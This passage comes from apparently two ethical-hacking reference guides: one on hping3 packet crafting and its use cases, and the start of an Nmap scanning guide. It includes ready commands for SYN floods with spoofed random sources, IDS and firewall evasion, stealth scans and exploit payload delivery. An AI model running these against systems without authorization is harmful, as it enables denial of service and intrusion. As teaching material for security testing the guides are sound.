Sets the TCP acknowledgment number to a specific value. Use for simulating acknowledgment of unsent data, enabling session hijacking by crafting ACK packets that appear part of existing connections, or testing how applications handle out-of-sequence acknowledgments or malformed ACK values.

# Example(s)
hping3 -L 2000000 192.168.1.1
hping3 --setack 100000 192.168.1.1

# Command: -Q or --seqnum

Displays TCP sequence numbers extracted from received reply packets. Use for mapping Initial Sequence Number (ISN) generation patterns for prediction attacks, analyzing sequence number randomness to assess TCP stack security, or tracking sequence progression to understand connection state during exploitation.

# Example(s)
hping3 -Q 192.168.1.1
hping3 --seqnum 192.168.1.1

# Command: -b or --badcksum

Intentionally sends packets with incorrect TCP or UDP checksums. Use for verifying whether endpoints validate checksums or blindly trust them, detecting checksum offload configurations where network cards calculate checksums in hardware, or identifying middleboxes that modify packets without recalculating checksums.

# Example(s)
hping3 -b 192.168.1.1
hping3 --badcksum 192.168.1.1

# Command: --tcp-timestamp

Enables TCP timestamp options and analyzes returned timestamps to estimate remote system uptime. Use for calculating how long a system has been running based on timestamp counter values, detecting virtualized or containerized hosts through timestamp behavior anomalies, or identifying load balancers by comparing timestamp values across connections.

# Example(s)
hping3 --tcp-timestamp 192.168.1.1

TCP Flag Options

# Command: -F or --fin

Sets the FIN (finish) flag signaling connection termination. Use in FIN scans to enumerate ports by observing how closed ports respond with RST while open ports may ignore or respond differently, or for testing stateful firewall behavior.

# Example(s)
hping3 -F 192.168.1.1
hping3 --fin 192.168.1.1

# Command: -S or --syn

Sets the SYN (synchronize) flag initiating TCP connection establishment. Use for SYN scanning to identify open ports through three-way handshake responses, or testing SYN flood protections by observing how systems handle connection requests.

# Example(s)
hping3 -S 192.168.1.1
hping3 --syn 192.168.1.1

# Command: -R or --rst

Sets the RST (reset) flag abruptly terminating connections. Use for testing how applications handle unexpected connection resets, probing for state table manipulation opportunities, or generating reset packets to interfere with existing connections in authorized testing.

# Example(s)
hping3 -R 192.168.1.1
hping3 --rst 192.168.1.1

# Command: -P or --push

Sets the PUSH flag requesting immediate data delivery to the application. Use for testing whether applications respond differently to pushed data, probing protocol timing behaviors, or ensuring data isn’t buffered during time-sensitive operations.

# Example(s)
hping3 -P 192.168.1.1
hping3 --push 192.168.1.1

# Command: -A or --ack

Sets the ACK (acknowledgment) flag indicating data receipt. Use in ACK scans to map firewall rulesets based on how stateful firewalls handle unsolicited ACK packets, or testing whether systems track connection state properly.

# Example(s)
hping3 -A 192.168.1.1
hping3 --ack 192.168.1.1

# Command: -U or --urg

Sets the URG (urgent) flag marking data as high-priority. Use for testing urgent pointer handling, probing for vulnerabilities in urgent data processing, or verifying whether applications properly implement TCP urgent mode.

# Example(s)
hping3 -U 192.168.1.1
hping3 --urg 192.168.1.1

# Command: -X or --xmas

Sets FIN, URG, and PUSH flags simultaneously, creating an “Xmas tree” packet. Use for identifying non-RFC-compliant TCP stacks that respond to invalid flag combinations, fingerprinting operating systems based on how they handle malformed packets, or evading detection systems that don’t expect unusual flag patterns.

# Example(s)
hping3 -X 192.168.1.1
hping3 --xmas 192.168.1.1

# Command: -Y or --ymas

Sets an invalid combination of SYN, FIN, and RST flags simultaneously. Use for stressing TCP state machines with contradictory instructions, testing parser robustness against malformed packets, probing for crash conditions or reset bugs in poorly implemented TCP stacks, or bypassing simple packet filters that only check individual flags.

# Example(s)
hping3 -Y 192.168.1.1
hping3 --ymas 192.168.1.1

Payload & Data Options

# Command: -d [size] or --data [size]

Sets payload size in bytes, padding with zeros if no data specified. Use for testing buffer handling by sending specific payload lengths, probing for buffer overflow vulnerabilities in fixed-size buffers, validating MTU-related behaviors, or ensuring packets reach minimum size requirements.

# Example(s)
hping3 -d 100 192.168.1.1
hping3 --data 1400 192.168.1.1

# Command: -E [filename] or --file [filename]

Reads packet payload data from the specified file. Use for covert channel data exfiltration proofs-of-concept by encoding data in packets, enabling protocol fuzzing with specific malformed payloads, or delivering exploit shellcode embedded in packet data fields.

# Example(s)
hping3 -E payload.txt 192.168.1.1
hping3 --file data.bin 192.168.1.1

# Command: -e [signature] or --sign [signature]

Appends an identifiable signature string to packet payload. Use for marking packets for later correlation when using multiple scanning tools, identifying which packets in captured traffic belong to specific test campaigns, or embedding metadata for tracking packet flows through complex network paths.

# Example(s)
hping3 -e “TEST123” 192.168.1.1
hping3 --sign “SCANID-456” 192.168.1.1

Output & Packet Display

# Command: -j or --dump
Displays received packets in raw hexadecimal format showing all bytes. Use for forensic analysis of packet contents, manual protocol reverse engineering, identifying hidden data or covert channels in responses, or debugging exact byte-level protocol behaviors during exploit development.

# Example(s)
hping3 -j 192.168.1.1
hping3 --dump 192.168.1.1

# Command: -J or --print
Filters packet display to show only printable ASCII characters, suppressing binary data. Use for cleaning up output when extracting text-based data from responses, making banner grabbing more readable, or quickly identifying human-readable content embedded in packet payloads.

# Example(s)
hping3 -J 192.168.1.1
hping3 --print 192.168.1.1

# Command: --tcpexitcode
Sets program exit code to match the last received TCP flag value. Use for enabling shell scripting conditionals based on scan results, automating decision-making in scanning workflows by testing exit codes, or chaining hping3 with other tools that react based on whether ports are open (SYN-ACK) or closed (RST).

# Example(s)
hping3 --tcpexitcode 192.168.1.1

File Transfer & Channel Protocol

# Command: -B or --safe

Enables reliable protocol with ACK-based acknowledgments and automatic retransmissions. Use for transforming hping3 into a basic file transfer tool with reliability guarantees, implementing covert channels that reliably exfiltrate data over unusual protocols, or demonstrating proof-of-concept protocol tunneling through restricted networks.

# Example(s)
hping3 -B 192.168.1.1
hping3 --safe 192.168.1.1

# Command: -u or --end

Signals end of file transfer session and stops accepting further data. Use for cleanly terminating safe-mode transfers ensuring all data is acknowledged, preventing hanging connections after transfer completion, or triggering receiver-side processing once transmission is confirmed complete.

# Example(s)
hping3 -u 192.168.1.1
hping3 --end 192.168.1.1

Traceroute Mode Options

# Command: -T or --traceroute

Performs network path tracing by systematically incrementing TTL with each packet. First packet has TTL 1 and expires at first router, which sends back ICMP time exceeded revealing its IP address. Second packet has TTL 2 and reaches second router before expiring. Use for mapping network topology hop-by-hop, identifying routing paths and intermediate devices, discovering network boundaries and filtering points, or tracing packet traversal through multiple routers.

# Example(s)
hping3 -T 192.168.1.1
hping3 --traceroute 192.168.1.1

# Command: --tr-keep-ttl

Fixes TTL to repeatedly probe a single hop instead of incrementing. Use for diagnosing asymmetric routing by observing consistent behaviors at one hop, testing rate limiting or filtering at specific network points, or focusing analysis on a particular intermediate device’s responses.

# Example(s)
hping3 --tr-keep-ttl 192.168.1.1

# Command: --tr-stop

Halts traceroute after receiving the first non-ICMP time exceeded reply (typically when reaching destination). Use for focusing traceroute on finding the path without excess probing, reducing unnecessary traffic once the target responds, or quickly determining whether a host is reachable.

# Example(s)
hping3 --tr-stop 192.168.1.1

# Command: --tr-no-rtt

Disables round-trip time display in traceroute output, showing only hop IP addresses without timing information. Use for reducing output clutter during high-volume path recordings, simplifying parsing when only topology matters, or focusing on route enumeration without performance analysis.

# Example(s)
hping3 --tr-no-rtt 192.168.1.1

Target

The target specifies the host or IP address that hping3 will send packets to. It can be a domain, IPv4, IPv6, or even a broadcast/multicast address when appropriate.

All packet crafting, flags, and options operate toward this destination.

• Domain Name – Uses a hostname that hping3 resolves to an IP. Useful for public or dynamically assigned hosts. Behaves the same as the resolved IP.

• IPv4 Address – Targets a host directly using its IPv4 address. Avoids DNS resolution and gives precise packet delivery. Ideal for internal or static hosts.

• IPv6 Address – Targets a host using an IPv6 address. Requires IPv6 networking and the -6 flag. Useful for testing IPv6 routing or firewalls.

Domain Name

Uses a hostname that hping3 resolves to an IP address.

Useful for testing public services or any system with DNS records. Behaves the same as targeting the resolved IP.

hping3 example.com -S -p 80

IPv4 Address

Targets a host directly using its IPv4 address. Avoids DNS resolution and is ideal for internal or static hosts. Provides exact, predictable packet delivery.

hping3 192.168.1.10 -S -p 80

IPv6 Address

Targets a host using an IPv6 address. Requires -6 flag to force IPv6 mode. Useful in dual‑stack or IPv6‑only networks for testing routing or firewall behavior.

hping3 -6 2001:db8::1 -S -p 80

Use Cases for Ethical Hackers:

Hping3’s ability to craft and send custom packets with precise control makes it valuable across multiple IT and security scenarios.

Network administrators use it to troubleshoot routing issues, test firewall configurations, measure latency and performance, verify Quality of Service policies, and diagnose connectivity problems.

Security teams rely on it to validate security device configurations, test defense mechanisms, verify policy enforcement, and simulate various attack patterns in controlled environments.

For ethical hackers, it’s a useful tool for reconnaissance, security testing, and identifying vulnerabilities that automated scanners often miss. The core use cases of hping3 for ethical hackers are outlined below.

Craft Custom Packets

Building custom packets gives you complete control over headers, flags, timing, and payload content. This precision is critical when standard tools can’t generate the exact traffic patterns needed for specialized testing.

• Protocol Testing Test non-standard protocols like GRE, IPsec, and SCTP that automated scanners don’t support by crafting raw IP packets with specific protocol numbers.

• Vulnerability Discovery Fuzz applications by sending malformed packets with invalid checksums, unusual TCP offsets, or invalid flag combinations to trigger edge cases in application logic.

• Exploit Development Deliver precise payloads with specific sizes and timing to test buffer overflows, measure response timing for timing attacks, and set specific TCP sequence numbers.

• Evasion Testing Bypass security controls using fragmentation, spoofed source addresses, unusual TTL values, and unexpected TCP flag combinations.

• IDS/IPS Validation Test whether security monitoring detects known exploit patterns, fragmented attack traffic, spoofed addresses, and unusual protocol usage.

• Stack Fingerprinting Identify remote operating systems by analyzing how different TCP/IP implementations respond to packets with specific characteristics.

# Test raw IP protocols (GRE, IPsec, SCTP)
hping3 -0 -H 47 target.com

# Fuzz with malformed packets using bad checksums
hping3 -S -p 80 -b target.com

# Deliver custom exploit payloads
hping3 -S -p 80 -E payload.bin -d 5000 target.com

# Test fragmentation handling
hping3 -S -p 80 -d 10000 -f target.com

Probe Hosts and Ports

Manual probing provides granular control when automated scanners are too noisy or trigger security alerts. Unlike tools that follow predefined patterns, hping3 lets you craft individual probes with precise characteristics.

• Stealth Scanning Control scan timing and packet construction to stay below IDS thresholds using microsecond-level timing control and unusual flag combinations.

• Firewall Mapping Test how stateful firewalls respond differently to SYN packets versus ACK packets to map filtering rules without completing three-way handshakes.

• Rule Enumeration Systematically test different flag combinations, ports, and protocols to build a complete picture of firewall policies.

• Service Fingerprinting Discover services that respond only to specific protocols, source ports, packet flags, or payload content.

• Rate Limit Bypass Space probes to stay under detection thresholds while maintaining scan progress by monitoring response patterns and adjusting timing.

• Honeypot Detection Identify deception systems by analyzing response characteristics, timing patterns, and TCP/IP stack behavior.

# Stealth SYN scan with slow timing
hping3 -S --scan 1-1000 -i u100000 target.com

# ACK scan to map firewall stateful rules
hping3 -A --scan 1-1000 target.com

# NULL scan for firewall evasion
hping3 --scan 1-1000 target.com

# UDP service discovery
hping3 -2 -p 53,123,161 target.com

Test Firewalls and IDS/IPS

Testing security devices validates whether firewalls enforce intended policies and IDS/IPS systems detect sophisticated attack patterns. Understanding device responses reveals misconfigurations and detection gaps.

• Evasion Technique Testing Use fragmentation, unusual flag combinations (Xmas, NULL, FIN), and timing manipulation to test whether security devices properly inspect and reassemble traffic.

• Anti-Spoofing Validation Verify that ingress and egress filtering prevents source address spoofing by sending packets with spoofed IPs from different network locations.

• Deep Packet Inspection Test whether devices examine packet contents beyond headers by sending fragmented packets with payloads split across fragments.

• Service Impersonation Manipulate source ports to appear as legitimate services like DNS (port 53) or HTTP (port 80) to test firewall rule configurations.

• Blind Spot Identification Systematically probe with different protocols, ports, and flag combinations to find gaps in security monitoring coverage.

• Validation Bypass Test inspection depth by sending packets with incorrect checksums, invalid sequence numbers, impossible flag combinations, and malformed options.

# Xmas scan to test IDS detection
hping3 -F -P -U --scan 1-1000 target.com

# Fragmentation to evade deep packet inspection
hping3 -S -p 80 -f -c 10 target.com

# Source port spoofing to impersonate DNS
hping3 -S -p 80 -s 53 -k target.com

# NULL scan with timing evasion
hping3 --scan 1-1000 -i u50000 target.com

Traffic and Denial of Service Simulation

Simulating attack traffic in authorized environments tests system resilience, validates DDoS mitigation controls, identifies breaking points, and measures incident response effectiveness.

• SYN Flood Testing Generate half-open connections by sending SYN packets without completing handshakes to exhaust server connection tables and test stateful firewall resilience.

• Amplification Attack Simulation Test UDP services for reflection and amplification vulnerabilities by sending small requests with spoofed source addresses that generate large responses.

• Connection Exhaustion Test connection limits by creating thousands of connections with varying source ports to identify at what point systems start rejecting new connections.

• Resource Consumption Send large or fragmented packets to identify which resources (CPU, memory, bandwidth, connection tables) fail first under load.

• Rate Limit Detection Gradually increase traffic rates from slow to fast while monitoring responses to find exact thresholds where systems start dropping packets or triggering defenses.

• Distributed Simulation Use random source IPs to mimic multi-source DDoS attacks and test whether mitigation systems can handle distributed attack patterns.

# Gradual rate increase to find breaking points
hping3 -S -p 80 --fast -c 1000 target.com
hping3 -S -p 80 --faster -c 1000 target.com

# SYN flood test (authorized environments only)
hping3 -S -p 80 --flood --rand-source target.com

# Connection exhaustion with incrementing source ports
hping3 -S -p 80 -s ++1 --faster -c 10000 target.com

# Large packet resource consumption test
hping3 -S -p 80 -d 65000 --faster -c 1000 target.com

Hping3 is a complex tool that can be used for a variety of unique situations. I highly recommend trying out as many commands as you can, and trying to find a couple use cases to emulate using the commands from this guide.

Mastering packets enables you to understand network behavior at the deepest level, identify security gaps that automated tools miss, and test defenses with the precision.

Happy Hacking!

This reference guide covers the core techniques used in professional security testing:

• Scanning - Find live hosts, open ports, and running services

• Scripting - Automate vulnerability checks and service enumeration

• Stealth - Evade detection and bypass security controls

Use this guide to quickly find the right commands for everything from basic discovery to advanced, low-profile scanning.

Nmap Features

Nmap is like a multi-tool knife that can be used for a variety of situations you might find yourself in as an ethical hacker.

It is most commonly used during the ‘Scanning’ phase of ethical hacking, where you are probing machines on a network to determine the best path for gaining access.

Core Features:

• which hosts are online

• which ports and services those hosts expose

• what software versions are running

• what operating systems they use

Nmap Scripts:

In addition to the core features, the Nmap Scripting Engine (NSE), which provides custom extensibility for Nmap core can help you:

• Identify vulnerabilities

• Enumerate services & users

• Detect misconfigurations

• Audit cryptography & SSL/TLS

• Perform brute‑force password guessing

• Probe for malware/backdoors

• Perform service fuzzing & protocol testing

• Gather external intelligence

• Create custom scripts

• … and much more!

Nmap History

Originally released in 1997 by Gordon “Fyodor” Lyon, Nmap started as a small Linux tool to replace many separate port scanners.

Today, Nmap works on all major operating systems and can be used via the command line or through its graphical interface, Zenmap.

In this guide, we will focus on the command-line version, which provides the most control and flexibility, though the graphical version can be useful for easier visualization later.

⚠︎ Disclaimer: Legal Use Only

Using Nmap without proper authorization can be considered illegal hacking. Always obtain written permission and clearly understand the scope before scanning. Even non-intrusive scans can trigger alerts or accidentally disrupt services.

The writer of this guide assumes no liability for any misuse, illegal activity, or damage resulting from the information provided.

What You’ll Learn:

This guide provides a comprehensive reference for understanding and using Nmap’s commands and techniques. You’ll learn how each option works and when to apply it for effective security assessment.

In this guide you will learn:

• Core Scanning & Discovery: Foundational techniques for network reconnaissance, host discovery, and service enumeration.

• Advanced Scripting & Detection: Leveraging automated scripts for vulnerability detection, service analysis, and deeper network intelligence gathering.

• Stealth Operations & Evasion: Methods for conducting low-profile scanning, bypassing security controls, and avoiding detection during authorized testing.

For detailed technical information, check out the free Nmap book and official docs provided by the tool creators.

Pre-Requisites

This guide assumes you’re already familiar with networking fundamentals and penetration testing basics. If you’re reading this, you should already know:

What You Need to Know

• Networking basics: IP addressing, CIDR notation, TCP vs UDP, common ports, and how firewalls work.

• Command line: You can navigate terminals and run commands with sudo/admin privileges on your OS of choice.

How to Install Nmap:

Installing NMAP is quick and easy, with support for all operating systems.

Linux

Nmap comes pre-installed on Kali Linux and Parrot Linux. It’s still a good idea to update and install to the latest version with the command:

sudo apt update && sudo apt install nmap

Windows

Download the installer from https://nmap.org/download.html and run it.

Run Command Prompt or PowerShell as Administrator for full functionality.

macOS

brew install nmap

Detailed Install Instructions

Visit the official Nmap website for detailed install instructions.

Download Nmap

Nmap Scan Phases:

When you run an Nmap scan, it executes a series of phases in a specific order.

Each phase builds on the results of previous phases to gather progressively deeper information about your targets.

Nmap always processes phases sequentially - it completes one phase entirely before moving to the next. You cannot change this order, but you can skip certain phases or add optional ones using command-line options.

The Scan Phases

1. Script Pre-Scanning (Optional): Executes NSE scripts once per entire scan, before targeting individual hosts, for network-wide or global tasks (e.g., broadcast discovery, subnet enumeration, or external queries). Runs only when such scripts are selected.

2. Target Enumeration (Always runs, cannot be skipped): Converts all input (hostnames, IP addresses, ranges, CIDR blocks, or files) into a flat list of individual IP addresses to process. Required for every subsequent phase. A list-only mode exists to show this list without network activity.

3. Host Discovery (Runs by default, can be skipped): Sends probes (ARP, ICMP echo, ICMP timestamp, TCP SYN/ACK, UDP, etc.) to determine which hosts are online. Depends on Target Enumeration for the target list. Can be skipped (treats all targets as online) or run alone (no further scanning occurs).

4. Reverse-DNS Resolution (Runs by default, can be skipped): Resolves hostnames for online IPs; if Host Discovery is skipped, attempts resolution for all targets regardless of status. Improves readability and reveals system purpose. Can be disabled or forced even for hosts marked down.

5. Port Scanning (Runs by default, can be skipped): Sends probes to specified ports on online hosts (or all targets if Host Discovery is skipped) and classifies each as open, closed, or filtered. Skipping Host Discovery does not skip port scanning; it ensures scanning runs on every target. Use discovery-only mode to skip port scanning entirely.

6. Service Version Detection (Optional): Probes open ports to identify running software and versions by analyzing responses against a database of over 6,500 service signatures. Depends on Port Scanning to find open ports.

7. OS Detection (Optional): Analyzes TCP/IP stack characteristics from port scan responses to identify OS and version, matching against a database of over 1,000 fingerprints. Requires Port Scanning for data.

8. Traceroute (Optional): Determines the network path to each target using optimized probe packets based on Host Discovery and Port Scanning results. Runs in parallel for efficiency.

9. Script Scanning (Optional): Executes NSE scripts against individual hosts and open ports for vulnerability checks, service enumeration, or advanced fingerprinting. Most scripts target open ports, so depends on Port Scanning.

10. Output (Always runs): Collects all results from prior phases and writes them to screen or file in the chosen format (normal, XML, JSON, grepable, etc.). Depends on completion of all active phases.

11. Script Post-Scanning (Optional): Runs NSE scripts after all scanning and output are complete for final reporting, aggregation, or custom processing. Rarely used unless custom scripts are written.

Nmap Syntax

NMAP commands use a semi-structured format that make it easy to swap out various functions and features. Nmap commands are made up of three parts:

1. Scan Type: Defines the probing method and scope for each host, like checking for open ports, identifying software versions, or detecting operating systems.

2. Scan Options: Additional settings that control scan behavior like speed, output format, or how much detail to show.

3. Target Specifications: The systems you want to scan, whether that’s a single computer, a website, or an entire network.

The syntax is flexible as long as the command starts with nmap and includes at least one target. You can place scan types, options, and targets in any order after the nmap command. The typical syntax is as follows:

nmap [ Scan Type ] [ Scan Options ] <target specification>

Learning Tip: Nmap + Wireshark

When you’re learning Nmap, it can be helpful to run commands on Nmap and watch how they translate to network traffic in Wireshark.

This lets you see exactly what packets Nmap sends and how targets respond, making it easier to understand what each scan type and option actually does at the network level. Use Wireshark filters to view specific traffic:

# Wireshark Filter Cheat Sheet

# Show packets coming from a specific IP
ip.src == <receiver host ip>

# Show packets going to a specific IP
ip.dst == <sender host ip>

# Show all packets to or from a specific IP
ip.addr == <host ip>

# Combine filters with && for more specific traffic
ip.src == <source ip> && ip.dst == <destination ip>

# Filter by protocol
tcp
udp
icmp
arp

# Filter by port number
tcp.port == 80
udp.port == 53

# Combine protocol and IP filters
tcp && ip.addr == <host ip>

Scan Type

Defines the probing method and scope for each host, specifying which ports and protocols are exercised and the depth of enumeration performed.

Use these settings to select the probing technique (e.g., SYN, UDP, version/OS detection, scripts) and control exactly what info you want to collect from every target.

Host Discovery

Determine which hosts are alive on the network before performing detailed port scanning. Nmap offers various discovery techniques including ICMP probes, TCP/UDP packet probes, ARP requests for local networks, or options to skip discovery entirely when needed.

• -sn : Disable port scanning; perform host discovery probes (ICMP/TCP/ARP by default depending on privileges). Use when you only want a list of live hosts.

• -Pn : Skip host discovery entirely and assume all targets are up; proceed directly to port scanning. Useful when ping probes are blocked.

• -PR : Use ARP requests for discovery on local Ethernet networks; fast and reliable but only works on the same LAN.

• -PE : Sends an ICMP Echo Request packet (ping) to the target host. If the host is alive and responds, it will send back an ICMP Echo Reply. This is the standard ping method that most users are familiar with. However, many firewalls and hosts are configured to block or ignore ICMP Echo Requests, which can result in false negatives where active hosts appear to be down.

• -PP : Sends an ICMP Timestamp Request to the target host, which queries the remote system for its current time. If the host is active, it responds with an ICMP Timestamp Reply containing the system time. This method can be useful as an alternative when ICMP Echo Requests are blocked, since some firewalls may allow Timestamp Requests while blocking standard pings. However, Timestamp Requests are less commonly used and may also be filtered.

• -PM : Sends an ICMP Address Mask Request to the target host, which was originally designed to query routers and hosts for their subnet mask information. If the host responds with an ICMP Address Mask Reply, it indicates the host is active. This is another alternative discovery method when Echo Requests are blocked. Like Timestamp Requests, Netmask Requests are relatively uncommon and may bypass some firewall configurations, though modern systems rarely respond to these queries as they’re largely obsolete.

• -PS[portlist] : Send TCP SYN probes to the listed ports for discovery (default common ports if none specified); useful when ICMP is filtered.

• -PA[portlist] : Send TCP ACK probes to the listed ports for discovery; useful to test stateful firewall behavior.

• -PU[portlist] : Send UDP probes to the listed ports for discovery; can elicit ICMP port unreachable replies that prove a host is up.

# -sn : Disable port scanning; perform host discovery only
nmap -sn 192.168.1.0/24

# -Pn : Skip host discovery, assume all targets are up
nmap -Pn 192.168.1.10

# -PR : ARP ping for local network discovery
nmap -PR 192.168.1.0/24

# -PE : ICMP Echo Request (standard ping)
nmap -PE 192.168.1.10

# -PP : ICMP Timestamp Request
nmap -PP 192.168.1.10

# -PM : ICMP Netmask Request
nmap -PM 192.168.1.10

# -PS[portlist] : TCP SYN probe discovery
nmap -PS80,443 192.168.1.10

# -PA[portlist] : TCP ACK probe discovery
nmap -PA80,443 192.168.1.10

# -PU[portlist] : UDP probe discovery
nmap -PU53,161 192.168.1.10

Privilege note: Privilege affects host discovery: privileged runs use raw packets and ARP for accurate detection, while unprivileged runs use connect-style probes, which rely on the OS to complete TCP connections and may be slower or more detectable.

Scan Techniques

Probe live hosts to find open ports and gather service and system details. Choose scan types to balance speed, stealth, and accuracy; enable detection features only when you need deeper information.

• -sS: TCP SYN scan (half-open). Sends SYN packets and resets the connection immediately upon receiving a SYN-ACK. Fast, stealthy, and less likely to be logged. Requires root/admin privileges to craft raw packets.

• -sT: TCP connect scan. Uses the operating system’s full TCP connection handshake (SYN, SYN-ACK, ACK). Slower and more visible in logs. Works without elevated privileges but generates more network noise.

• -sU: UDP scan. Sends UDP packets to target ports. Many UDP services do not respond, so open ports often appear as “open|filtered.” Slower due to rate limiting and timeouts. Useful for discovering DNS, SNMP, or DHCP services.

• -sA: TCP ACK scan. Sends ACK packets to map firewall rulesets. Helps determine whether ports are filtered (stateful firewall) or unfiltered. Does not identify open ports directly.

• -sN: Null scan. Sends TCP packets with no flags set. RFC-compliant closed ports send RST; open ports don’t respond.

• -sF: FIN scan. Sends TCP packets with only FIN flag set. Same behavior as Null scan.

• -sX: Xmas scan. Sends TCP packets with FIN, PSH, and URG flags (lit up like a Christmas tree). Same behavior as Null and FIN scans.

• -sO: IP protocol scan. Sends packets with different protocol numbers (e.g., ICMP=1, IGMP=2, GRE=47) to discover which protocols the host supports beyond TCP and UDP.

# TCP SYN scan (half-open), fast and stealthy; requires elevated privileges
sudo nmap -sS 192.0.2.10

# TCP connect scan, uses OS connect call, visible in logs and does not require privileges
nmap -sT scanme.nmap.org

# UDP scan for DNS and SNMP; slower and often returns open|filtered
sudo nmap -sU -p 53,161 192.0.2.20

# TCP ACK scan to map firewall rules and detect filtered ports
nmap -sA 10.0.0.5

# Null scan (no flags) to probe TCP stack responses
nmap -sN 192.168.1.20

# FIN scan to probe TCP stack responses
nmap -sF 192.168.1.20

# Xmas scan (FIN+PSH+URG) to probe TCP stack responses
nmap -sX 192.168.1.20

# IP protocol scan to enumerate supported IP protocols (ICMP, GRE, etc.)
sudo nmap -sO 192.0.2.30

Detection

• -sV : Version detection. Sends tailored probes to open ports and analyses responses against a database of over 6,500 known service signatures to identify the exact application name, version, and additional details such as protocol or configuration.

• -O : OS detection. Analyses subtle differences in TCP/IP stack behaviour, such as sequence numbers, window sizes, and flag responses, to fingerprint the remote operating system, version, and sometimes device type.

• -sC : Run the default safe NSE script set. Executes a curated collection of non-intrusive scripts for common enumeration tasks like banner grabbing, service discovery, and basic vulnerability checks without risk of disruption.

• --script=<name|category> : Run a specific NSE script or category (vuln, auth, default, safe). Allows targeted automation for vulnerability scanning, authentication testing, or deep service enumeration. Use with caution on production systems to avoid unintended impact.

• --traceroute : Maps the network route from your machine to the target host, showing each hop along the path. Depends on host discovery and port scanning completing; useful for network mapping and troubleshooting.

• -A : Aggressive scan shortcut. Combines OS detection, version scanning, default safe script execution, and traceroute in a single command. Provides comprehensive reconnaissance but generates significant network traffic and is easily detected.

# Version detection to identify service name, protocol, and version
nmap -sV 192.0.2.10

# OS detection to fingerprint remote OS and network stack
sudo nmap -O 192.0.2.10

# Run default safe NSE scripts for common enumeration and checks
nmap -sC 192.0.2.10

# Run NSE scripts in the ‘vuln’ category (use with caution)
nmap --script=vuln 192.0.2.10

# Run a specific NSE script by name for targeted enumeration
nmap --script=http-enum 192.0.2.10

# Traceroute only, mapping the path to the target host
nmap --traceroute 192.0.2.10

# Aggressive scan combining OS detection, version detection, default scripts, and traceroute
sudo nmap -A 192.0.2.10

Port Specification

Choose which ports to probe on each target to control scan scope, time, and noise; port specs can be numeric, ranges, named services, or protocol-prefixed. Use targeted lists or top-port scans for speed, and full sweeps only when authorized and necessary.

• -p : Specify ports as single ports, comma lists, numeric ranges, or service names.

• -p- : Scan all ports (1–65535). TCP is default; use -sU to scan UDP ports.

• -F : Fast scan; test the top 100 most common ports.

• --top-ports : Scan the most common N ports by frequency, e.g. -top-ports 50.

• --exclude-ports : Exclude specific ports from the scan when doing wide sweeps.

• -p [proto]:[ports] : Protocol-prefixed port list. For example: tcp:22,80 or udp:53,161. Use -sU for UDP probes.

# -p : Single, list, range, or service names
nmap -p 22 192.168.1.5
nmap -p 22,80,443 scanme.nmap.org
nmap -p 1-1024 10.0.0.1
nmap -p http,https example.com

# -p- : All TCP ports
nmap -p- 203.0.113.5

# -F : Fast scan (top 100)
nmap -F 192.0.2.10

# --top-ports : Most common N ports
nmap --top-ports 50 198.51.100.10

# --exclude-ports : Exclude specific ports
nmap -p- --exclude-ports 25,465 203.0.113.5

# -p [proto]:[ports] : Protocol-specific
nmap -sU -p udp:53,161 203.0.113.10
nmap -p tcp:22,80 198.51.100.20
nmap -sU -p udp:53,161 -p tcp:22,80 203.0.113.10

Scan Options

Configure how probes are delivered and results are handled, including timing, retries, rate limits, stealth/evasion, verbosity, and output formats.

Use these controls to tune scan speed, reduce network impact or detectability, and determine how scan data is recorded and reported.

Output:

Control where and how Nmap saves scan results.

Nmap prints a human-friendly report to the terminal by default; output flags let you save that report and machine-readable variants to files so results can be archived, parsed, or piped into other tools.

• -oN <file> - Save normal, human-readable output to <file>. This file mirrors the interactive terminal report but begins with the exact nmap command and a timestamp, and is intended for manual review and audit notes.

• -oX <file> - Save XML output to <file>. Produces structured XML suitable for reliable parsing by programs and scripts; preferred when you need to transform results into reports or import into tools.

• -oG <file> - Save grepable-style output to <file>. Emits compact, one-line-per-host records with simple delimiters that are easy to process with command-line text tools like grep, awk, and cut.

• -oS <file> - Save legacy script-style textual output to <file>. An alternate textual format retained for compatibility with older workflows that expect this layout.

• -oA <basename> - Create three files at once using <basename>: <basename>.nmap, <basename>.xml, and <basename>.gnmap. Convenient when you want both a human-readable copy and machine-friendly copies produced in a single run.

• --append-output - Append new scan results to existing output files instead of overwriting them; when used, all output files specified in that Nmap run are appended to rather than clobbered (note: appending XML (-oX) often produces invalid XML that must be fixed manually).

• single hyphen as filename (-) - Any output format can take a single hyphen instead of a filename to write that format to standard output and suppress the default interactive display. Use this to pipe XML or grepable output directly into other commands.

# Save normal, human-readable output to results.nmap
nmap -oN results.nmap 192.0.2.10

# Save XML output to results.xml for programmatic parsing
nmap -oX results.xml 192.0.2.10

# Save grepable output to results.gnmap for quick shell processing
nmap -oG results.gnmap 192.0.2.10

# Save legacy script-style output to results.scripts
nmap -oS results.scripts 192.0.2.10

# Produce normal, XML, and grepable outputs at once
# Creates: myscan.nmap  myscan.xml  myscan.gnmap
nmap -oA myscan 192.0.2.10

# Write XML to stdout instead of a file (useful for piping)
nmap -oX - 192.0.2.10

# Include a timestamp in the filename using strftime-style tokens
# Example: scan-142530-110525.xml where %T = HHMMSS and %D = MMDDYY
nmap -oX “scan-%T-%D.xml” 192.0.2.10

# Append results to existing files across runs (all specified outputs)
nmap --append-output -oN results.nmap 192.0.2.10

# Combine formats in one run (normal + XML + grepable) and append output
nmap --append-output -oN results.nmap -oX results.xml -oG results.gnmap 192.0.2.10

Output to Database:

Nmap does not support direct database output.

Storing scan results in a database allows tracking historical data, monitoring newly opened ports, identifying vulnerable services, and querying large-scale results efficiently.

This can be done by exporting Nmap results in XML and importing them with a script in Perl or Python, converting XML to CSV for bulk loading, using the nmap-sql MySQL patch, or using tools like PBNJ, which organizes scan data in a database and highlights changes between scans.

Verbosity

Control how much information Nmap shows while scanning. Use -v to increase output detail. Repeat up to three times (-v, -vv, -vvv) to show progressively more information about scan progress, host status, and timing.

• -v Shows the ports Nmap finds open and a final summary after the scan. You see which services are running on the target and whether the host is up.

• -vv Shows everything from basic plus messages about what Nmap is doing at each step. For example, it tells you when it starts scanning, when each scan phase finishes, and how long certain steps take.

• -vvv Shows everything from medium plus small extra details like statistics about tasks running in the background, such as how DNS lookups were performed or timing details for each phase.

nmap -v 192.168.1.1        # basic progress and host information
nmap -vv 192.168.1.1       # more detailed progress and events
nmap -vvv 192.168.1.1      # maximum verbosity

Diagnostic

Display additional information about scan behavior and results. Use diagnostic flags to troubleshoot scans, understand why ports appear in certain states, monitor progress, or debug unexpected results.

